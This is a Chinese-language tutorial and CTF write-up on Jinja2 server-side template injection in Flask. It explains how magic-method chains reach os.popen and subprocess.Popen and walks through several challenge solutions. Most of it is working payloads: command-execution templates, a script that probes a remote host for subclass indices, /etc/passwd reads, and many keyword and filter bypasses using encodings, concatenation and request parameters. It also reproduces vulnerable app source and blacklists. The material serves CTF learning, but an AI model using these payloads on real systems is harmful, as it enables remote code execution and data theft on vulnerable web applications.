python SSTI
SSTI基础理论
SSTI是一种由于用户输入被当做模板引擎的一部分从而拼接执行恶意数据的一种漏洞.本篇主要针对的是python中的jinjia2模板
首先先来认识几个魔术方法:
__class__ #类对应的对象
__base__#对象的直接基类
__mor__#对象的第n级基类
__subclasses__()#子类的集合
__init__#初始化类,可以认为功能近似php中的__construct,但是实际实现不同
__dict__#一个存有类的所有属性和方法的字典
__globals__#一个方法所在的作用空间中的全部的全局变量
__getitem__()#调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b').我们还可以使用dict.get()或是dict.setdefault()来获取键的值.
__attribute__(a,b)#一个对象创建的时候自带的方法,实际上,我们直接访问对象的属性时,就是在通过__attribute__来访问字典中的属性值.
__builtins__#一个包含了python中很多内建对象的模块,经测试发现其中包含的eval,exec和open模块,可以用来rce
url_for#一个用于动态获取flask的url的方法,可以通过url_for.__globals__中的很多好东西
那么我们一步一步的来看ssti的payload是如何构成的.
class a:pass
class b(a):pass
class c(b):pass
class d(c):pass
instance=d()
print(instance.__class__.__base__)#<class '__main__.c'>
print(instance.__class__.__mro__[4])#<class 'object'>
可以通过如上的方法得到object类,也就是所有的类的基类,然后接下来就可以通过__subclasses__()来获得其所有的子类.
我们利用如下脚本可以获得某危险函数在__subprocess__()返回的集合中的位次.注意:不同版本的python这个位次是不同的,所以需要每次去获取
本地获取脚本:
def search_rce_number(searched):
number=-1
for i in "".__class__.__mro__[-1].__subclasses__():
number+=1
try:
if searched in i.__init__.__globals__.keys():
print(i,number)
except:
pass
a=input('Enter the name of the module you want to search for: ')
search_rce_number(a)
远程获取脚本需要根据实际情况不同而做出调整,下面是一个较好的例子
import requests
url="http://04e28df9-f3d7-46f3-bdd5-a7dfffd63314.node5.buuoj.cn:81/"
for i in range(1,500):
parm="?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"]}}"
try:
text=requests.get(url+parm).text
except:
print("error in "+str(i))
if "subprocess.Popen" in text:
print(i)
注意:可能出现不止一个位次,因为可能同一个文件中存在多个类,因此同一个global方法也可能存在于多个类的__init__.__globals__中.
就比如我们输入system,他会给我们返回:
<class 'os._wrap_close'> 142
<class 'os._AddedDllDirectory'> 143
因此我们可以构造类似如下的payload来获得shell
print("".__class__.__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read())
除此以外还存在着config,包含当前application的所有配置,我们也可以构造这样的payload
x={{config.__class__.__init__.__globals__['os'].popen('dir').read()}}
注意这里不能直接使用popen,而是要用os,因为其__globals__并没有直接包含,事实上,其globals的内容非常的少,只有如下
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'annotations', 'errno', 'json', 'os', 'types', 't', 'import_string', 'T', 'ConfigAttribute', 'Config'])
lipsum是一个用于生成语句的方法,这里我们也可以利用其进行ssti攻击
x={{lipsum.__globals__['os'].popen('dir').read()}}
其globals经过测试也是只包含os这一个可用的模块的.
包括url_for也是可以使用的
x={{url_for.__globals__['os'].popen('dir').read()}}
无论是lipsum还是url_for还是config,都是jinjia2提供的模板,如果直接不适用jinjia2而是在本地运行的话是跑不通的.
前端理论基础:在python的jinjia2模板中,前端的表达式语句为{{...}},然而如果我们人为的去构造表达式语句,会导致其中的内容被作为代码进行解析.
比如下面的例子,有一个网站的逻辑如下:
from flask import Flask, render_template, request,render_template_string,send_file
app= Flask(__name__)
@app.route("/")
def root():
return send_file(__file__)
@app.route('/ssti', methods=['GET', 'POST'])
def sb():
template = '''
<div class="center-content error">
<h1>This is ssti! %s</h1>
</div>
''' % request.args["x"]
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
当我们构造如下url的时候会出现非预期结果http://127.0.0.1:5000/ssti?x={{2*2}}:This is ssti! 4
即可得出存在ssti漏洞,然后我们输入本地构建的payload即可
http://127.0.0.1:5000/ssti?x={{"".__class__.__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}
为什么不能直接动态调用包,构造如下payload?
http://127.0.0.1:5000/ssti?x={{__import__('os').popen('dir').read()}}
因为jinjia2等模板为了防止代码的动态执行,对直接__import__进行了禁止.
SSTI bypass理论
绕过 .
1.利用[]来实现绕过
构建payload如下:
{{""['__class__']['__mro__'][-1]['__subclasses__']()[142]['__init__']['__globals__']['popen']('dir')['read']()}}
经测试发现这是特用于jinjia2的特性,并不是python本身支持这样通过[]来获取方法和属性.
2.使用attr绕过
如果[]也不能使用应该怎么办?可以使用jinjia2中的attr方法进行绕过,不同的方法之间需要通过|来分割
{{""|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(142)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('dir')|attr('read')()}}
值得注意的是由于此时不能使用[],所以要替换为__getitem__
绕过 '
1.可以利用flask中的参数传递来进行
如下:
{{"".__class__.__base__.__subclasses__()[142].__init__.__globals__[request.args.arg1](request.args.arg2).read()}}&arg1=popen&arg2=dir
除此以外,还可以使用request.from,request.value以及request.form之类的方法来进行绕过
绕过关键词
1.利用__getattribute__进行字符串操作
本质上是进行字符串操作,不一定非要使用__getattribute__
如果某一个属性值被禁用了,可以使用这种方法来进行绕过.
{{"".__getattribute__('__ssalc__'[::-1]).__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}
或是直接拼接
{{"".__getattribute__('__cla''ss__').__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}
或是replace换空
{{"".__getattribute__('__claAAss__'.replace('AA','')).__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}
或是将字符串转换为十六进制
{{"".__getattribute__('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f').__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}
同理可使用八进制
或是使用unicode编码
{{"".__getattribute__('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f').__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}
也可以使用ascii绕过
{{"".__getattribute__("{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)).__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}
2.利用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b].__base__.__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}
3.__init__可以使用__enter__或是__exit__替代.
绕过[]
1.__getitem__
2.__getattribute__
3.\pop() 可以近似等同认为是[]但是使用后会将目标从字典中删除
4.配合attr使用
绕过{
使用控制语句{%%}配合print绕过
x={%print(config.__class__.__init__.__globals__['os'].popen('dir').read())%}
似乎还存在一种反弹置本地端口的绕过方式,但是没成功
绕过__
使用[]配合request参数进行绕过或是attr配合request参数绕过.实际上,我们可以看到,之前进行的ssti对于魔术方法的利用有着极高的需求,所以如果彻底无法获得__,则无法进行
复合绕过
没搞懂,真遇到再说
SSTI实战演练
## [WesternCTF2018]shrine
上来直接给了源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
我们发现其对() config self进行了过滤.而我们想要的flag就是存在与config中.禁用()是无法绕过的,然而实际上我们也无需函数.
可以利用url_for中的currentapp,来获取其中的config.注意:这个黑名单只能对单个的config词进行防护,但是无法防护如下payload
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
## [CSCCTF 2019 Qual]FlaskLight
黑盒测试,提示我们通过search传递参数,经过测试发现存在SSTI漏洞,但是使用url_for和lipsum不好使,只能从头一点一点的走.
我们尝试获取动态加载进去的object子类,payload如下.
?search={{"".__class__.__mro__[-1].__subclasses__()}}
发现加载进去了一大堆东西,然后尝试继续往下写,但是写不通了,怀疑__init__或是__globals__中的某个环节出现了问题.
这里补充几个不需要获取globals,而是作为object的直接子类就提供有rce功能的方法.
1._frozen_importlib_external.FileLoader类:该类下有get_data函数可以实现读取文件
''.__class__.__mro__[-1].__subclasses__()[xx]["get_data"](0,"/etc/passwd")
2.importlib类:importlib类中的load_module可以引用os
{{''.__class__.__mro__[-1].__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}
3.subprocess.Popen类:是subprocess的核心,本身就具有执行任意命令功能.
{{''.__class__.__mro__[-1].__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
经过测试发现Popen被动态的加载了进来,通过下面的脚本获取其编号
import requests
url="http://04e28df9-f3d7-46f3-bdd5-a7dfffd63314.node5.buuoj.cn:81/"
for i in range(1,500):
parm="?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"]}}"
try:
text=requests.get(url+parm).text
except:
print("error in "+str(i))
if "subprocess.Popen" in text:
print(i)
得到了subprocess.Popen的序号为258,使用payload,得到当前目录
bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
然后我们逐层查看flasklight下的coomme_geeeett_youur_flek即可得到flag.
我们扒一下源代码
from flask import Flask, request, render_template_string, abort
app = Flask(__name__)
app.secret_key = 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}'
result = ["CCC{Fl49_p@l5u}", "CSC CTF 2019", "Welcome to CTF Bois", "CCC{Qmu_T3rtyPuuuuuu}", "Tralala_trilili"]
@app.route("/")
def search():
global result
blacklist = ['url_for', 'listdir', 'globals']
search = request.args.get('search') or None
if search is not None:
for black in blacklist:
if black in search:
abort(500)
if search in result:
result = search
return render_template_string('''<!DOCTYPE html>
<html>
<head>
<title>Flasklight</title>
</head>
<body>
<marquee><h1>Flasklight</h1></marquee>
<h2>You searched for:</h2>
<h3>%s</h3>
<br>
<h2>Here is your result</h2>
<h3>%s</h3>
</body>
</html>''' % (search, result))
elif search == None:
return render_template_string('''<!DOCTYPE html>
<html>
<head>
<title>Flasklight</title>
</head>
<body>
<marquee><h1>Flasklight</h1></marquee>
<h2>You searched for:</h2>
<h3>%s</h3>
<br>
<h2>Here is your result</h2>
<h3>%s</h3><br>
<!-- Parameter Name: search -->
<!-- Method: GET -->
</body>
</html>''' % (search, result))
else:
result = []
return render_template_string('''<!DOCTYPE html>
<html>
<head>
<title>Flasklight</title>
</head>
<body>
<marquee><h1>Flasklight</h1></marquee>
<h2>You searched for:</h2>
<h3>%s</h3>
<br>
<h2>Here is your result</h2>
<h3>%s</h3>
</body>
</html>''' % (search, result))
if __name__ == "__main__":
app.run(host="0.0.0.0", port=9000)
发现他实际是对['url_for', 'listdir', 'globals']设置了黑名单.
那么我们根据后端的逻辑去反推一下,也可以构造出这样的payload
{{lipsum['__glob''als__']['os'].popen('ls /').read()}}
测试成功(第一天没成功,第二天同样的payload成功了)
## [GYCTF2020]FlaskApp
一个用flask写的能够进行base64加解密的小程序,进过测试发现进行base64解码的时候存在SSTI漏洞.
我们进行测试发现os ,popen, flag, *,?被禁用,使用下面的两个payload即可
{{url_for.__globals__['o''s']['pop''en']('ls /').read()}}
{{url_for.__globals__['o''s']['pop''en']('cat /this_is_the_fl[a-z]g.txt').read()}}
后读取源码发现blacklist如下
["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
[XCTF] Web_python_template_injection
在斜线后添加参数,可以直接利用url_for进行SSTi执行命令

浙公网安备 33010602011771号